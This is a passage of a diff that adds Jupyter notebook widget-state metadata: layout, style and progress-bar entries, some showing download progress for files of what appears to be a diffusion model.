"IPY_MODEL_20396dbdc36b47538a5fd6b522478b67", + "value": 577 + } + }, + "cbcfc8e9b02348a182722c846cecca2a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ce3ebc0beb214d9b9df35c37eff91505": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d02fc695003f435e9ec25e5ab7eec2bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e16097842da34cd0bc24cfaeab3de404", + "IPY_MODEL_0d2fba8088804ecab806472f5396f1bc", + "IPY_MODEL_8bef2ecbcbcf4ad1bb5e495a52ca2aa6" + ], + "layout": "IPY_MODEL_9a2aa30940934458ae53131db74a7406" + } + }, + "d0c8dcdbf9f44ca1bc74ea1e2f127b0f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d1bf7fca5177409290ea45d701774d6d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d2598bdd44164f77a581fb0afad817f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_23cd6b916dfe4e5faa4021cf02d07f53", + "placeholder": "​", + "style": "IPY_MODEL_d97f27872680454ba3574589b371ea97", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "d26404f63c3240d28ed1af7527307317": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_7f29483722954a3697afb9cb24430e8c", + "IPY_MODEL_ad3538e88909423a9a8d109bd97745a5", + "IPY_MODEL_f1e7ac9f310140f0adac525362d99180" + ], + "layout": "IPY_MODEL_ce3ebc0beb214d9b9df35c37eff91505" + } + }, + "d321be86c24d4a35a251d4ef7a75c24d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_73f2e3215913478aae13131aefadd0a5", + "placeholder": "​", + "style": "IPY_MODEL_64f6ec814be648d3ba69f94eb844a049", + "value": " 50/50 [00:30<00:00, 1.80it/s]" + } + }, + "d438504eef684317a6c09cc0b123d25d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d44653455b8a490997da5bfd8672cf7e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d78921386a5b493ab86718077b16a945": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d97f27872680454ba3574589b371ea97": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "da5028411a634a2eb2e1ed3fcc53ed6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dba967ac191d45a0b604e93f0dc1fffe": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dbccb67e488b40faa3719e8db6e562a2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d2598bdd44164f77a581fb0afad817f6", + "IPY_MODEL_03fe79b7b7c5439c99fef039f96a831b", + "IPY_MODEL_9ac0da7a10a54fbe897b21184cdf154f" + ], + "layout": "IPY_MODEL_32e55f352157421aa3e1fef5819b3587" + } + }, + "de35fccd4b4a433e8b468ef3981bede9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d0c8dcdbf9f44ca1bc74ea1e2f127b0f", + "placeholder": "​", + "style": "IPY_MODEL_5e09f80f20554f419d925c5cdf55cc63", + "value": "Downloading (…)on_pytorch_model.bin: 100%" + } + }, + "df83f20f558f43b9bf1e447316e9de4a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dfdaf22078fd4385ab30060981d67666": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dff99876d1e3468bb3cbd97160ecd7a1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e16097842da34cd0bc24cfaeab3de404": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_45e95708fe6043c68fd25d8802778998", + "placeholder": "​", + "style": "IPY_MODEL_da5028411a634a2eb2e1ed3fcc53ed6c", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "e288ede57ad84b2bb455ba18016c68d8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e68ae70236b04e5aa6c5de879ca81e9e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e8f385dcd70f40d28cd27ba5d7edcef8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_3bc08cdf09a84428a51955f2aa42ea30", + "IPY_MODEL_cb68043195a642b3a495d82d87ffd1b8", + "IPY_MODEL_0cf91d0dc45340f19f6a7a2804000145" + ], + "layout": "IPY_MODEL_dff99876d1e3468bb3cbd97160ecd7a1" + } + }, + "e9e33bc9dfd843e88f9f56c0400b07e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_9307ea294e42484eb32d8b07fddd33dd", + "IPY_MODEL_a509f68381854d7da52a21dde99a9f62", + "IPY_MODEL_406fd8a742b443968d3f2fc1d3dbfef1" + ], + "layout": "IPY_MODEL_03433d859a7a4f3cae64d9d0bf374643" + } + }, + "eb182b33be95418fad1010ccf7b176ab": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_614b85aff85e47debadea7773583b8ab", + "IPY_MODEL_c6305a1adcd946d2a4c66c05e614bcf1", + "IPY_MODEL_d321be86c24d4a35a251d4ef7a75c24d" + ], + "layout": "IPY_MODEL_a99edd082dff4f928c3b75abf84ec0ec" + } + }, + "ec377a46cf8647ff891a920c46897786": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ece36cbb62cd46a8b452fac32dce3493": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "edb8b182bc4a413185e754aae38ee93a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ede27ca6747240eeb41a9dbde664e8a7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_99777597ceee470ca8c8a34f4846435a", + "placeholder": "​", + "style": "IPY_MODEL_ca063f5b64d74bc9be303eebe7092f81", + "value": "Downloading (…)on_pytorch_model.bin: 100%" + } + }, + "f0d04527bbe94bfdb91353827c2ad7db": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_016df28dd739433daa2c8d3b1706486c", + "placeholder": "​", + "style": "IPY_MODEL_43aa766628a147548714ef986c9d979a", + "value": " 617/617 [00:00<00:00, 3.81kB/s]" + } + }, + "f1e7ac9f310140f0adac525362d99180": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9e1a5419468d4549a38b8d23aa14f6d3", + "placeholder": "​", + "style": "IPY_MODEL_98eab664cdee4999bb09af5abe60535f", + "value": " 807/807 [00:00<00:00, 4.45kB/s]" + } + }, + "f369cc94c2544de3acdbcd35cac6d393": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3804bde7c974eaf90df71e9fdd3539b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f7d7fb787f884822aa3e5cdbfab22b1d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f8cc05786ad94dcca69f1fedf6d4aa4a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f9a2bf4d86ab403d9e1c7378e91bf467": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "faa6428f4b7b4cb996cc4d5ca9bcb38c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fc3fc7c8bb714f39a67963f2792b527d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fc5d5de2233543eba400877e7891977a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fe3c4a4e4c8b4752a1f1d88da73fb808": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ff0910f0831b49ac9faaba1e70c275dc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + 